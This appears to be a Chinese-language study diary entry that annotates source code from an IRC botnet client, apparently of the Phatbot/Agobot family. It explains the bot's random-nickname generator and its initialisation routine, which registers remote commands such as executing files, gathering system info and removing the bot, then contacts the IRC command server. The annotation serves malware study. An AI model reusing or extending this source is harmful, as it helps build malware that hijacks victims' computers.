九、2008年3月14日
作者:青青子衿
email:[email protected]
1、 CString RndNick ( const char * szPrefix ) 生成暱稱的函數
/////////////////////////////////////////////////////////
//
//位置: untinity.cpp
//函數功能:隨機生成暱稱
//參數: const char *szPrefix 暱稱的前綴
//返回值: CString 生成的暱稱字符純
//
///////////////////////////////////////////////////////////
CString RndNick ( const char * szPrefix )
{
#ifdef WIN32
#define BUFSIZE 1024
if ( g_cMainCtrl . m_cBot . bot_compnick . bValue ) //首先判斷是否使用計算機名作爲暱稱
{
//如果使用計算機名作爲bot的迷城
CString sComputerName ;
char * szComputerName ;
bool bNameGood = false ;
szComputerName = sComputerName . GetBuffer (1024); //字符串類型變量中的buffer字符指針
init_random (); //初始化隨機數生成函數
unsigned long lStrLen = sComputerName . GetLength (); //獲得字符串變量中buffer的長度
if (! GetComputerName ( szComputerName , & lStrLen ))
{
//如果無法獲得主機名,將szComputerName 字符串賦值爲"phat"
strcpy ( szComputerName , "phat" );
}
for ( int j =65; j <91; j ++)
{
//如果首字母是A——Z bNameGoodtrue
if ( szComputerName [0]== j )
{
bNameGood = true ;
}
}
for ( int k =97; k <123; k ++)
{
//如果首字母是a——z bNameGoodtrue
if ( szComputerName [0]== k )
{
bNameGood = true ;
}
}
if (! bNameGood )
{
//如果計算機名的第一個字符不是字母,將szComputerName 設置爲phat
strcpy ( szComputerName , "phat" );
}
//在計算機名稱後加三位十進制的隨機數
sComputerName . Append ( rand ()%10);
sComputerName . Append ( rand ()%10);
sComputerName . Append ( rand ()%10);
return sComputerName ; //函數返回這個字符串
}
else
{
#endif // WIN32
CString sRetVal ;
srand ( GetTickCount ());
int nl =( rand ()%3)+4; //生成的隨機後綴的長度,長度爲4到6的一個隨機長度
sRetVal . Assign ( szPrefix ); //將指定的前綴賦值給字符串
for ( int n =0; n < nl ; n ++)
{
CString sTemp ;
sTemp . Assign ( sRetVal );
sRetVal . Format ( "%s%c" , sTemp . CStr (), ( rand ()%26)+97); //生成a——z的隨機字母
}
return sRetVal ; //返回最後生成的字符串
#ifdef WIN32
}
#endif // WIN32
}
2、 void CBot :: Init () 可能前面解釋了一部分,不是很全面重新解釋一下
///////////////////////////////////////////////////////////////////////////
//
//函數功能:CBot類的初始化函數,
//具體功能:添加bot類的指令,
// 生成Bot的名字
// 向IRC服務器發出第一個請求數據包
//參數: 無
//返回值: void
//
//////////////////////////////////////////////////////////////////////////
void CBot :: Init ()
{
init_random ();
Config ();
//將由cbot模塊負責處理的指令,添加的g_cMainCtrl.m_cCommands鏈表中
//void RegisterCommand(command *pCommand, const char *szName, const char *szDescription, CCommandHandler *pHandler);
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdAbout , "bot.about" , "displays the info the author wants you to see" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdDie , "bot.die" , "terminates the bot" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdDns , "bot.dns" , "resolves ip/hostname by dns" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdExecute , "bot.execute" , "makes the bot execute a .exe" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdId , "bot.id" , "displays the id of the current code" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdNick , "bot.nick" , "changes the nickname of the bot" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdOpen , "bot.open" , "opens a file (whatever)" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdRemove , "bot.remove" , "removes the bot" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdRemoveAllBut , "bot.removeallbut" , "removes the bot if id does not match" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdRndNick , "bot.rndnick" , "makes the bot generate a new random nick" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdStatus , "bot.status" , "gives status" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (&m_cmdSysInfo, "bot.sysinfo" , "displays the system info" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdLongUptime , "bot.longuptime" , "If uptime > 7 days then bot will respond" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdQuit , "bot.quit" , "quits the bot" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdFlushDNS , "bot.flushdns" , "flushes the bots dns cache" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdSecure , "bot.secure" , "delete shares / disable dcom" , this );
CString sRndNick = RndNick ( si_nickprefix . sValue . CStr ()); //獲得bot的暱稱。
g_cMainCtrl . m_cIRC . SendRawFormat ( "NICK %s/r/n" , sRndNick . CStr ()); //發送暱稱,登錄IRC的第一個數據包NICK anbcQQ
g_cMainCtrl . m_sUserName . Format ( "%s" , sRndNick . Mid (0, 32). CStr ()); //取暱稱字符串的前32個字節,最爲用戶名稱
m_lStartTime =( unsigned long ) GetTickCount ()/1000; //獲取開始的時間
}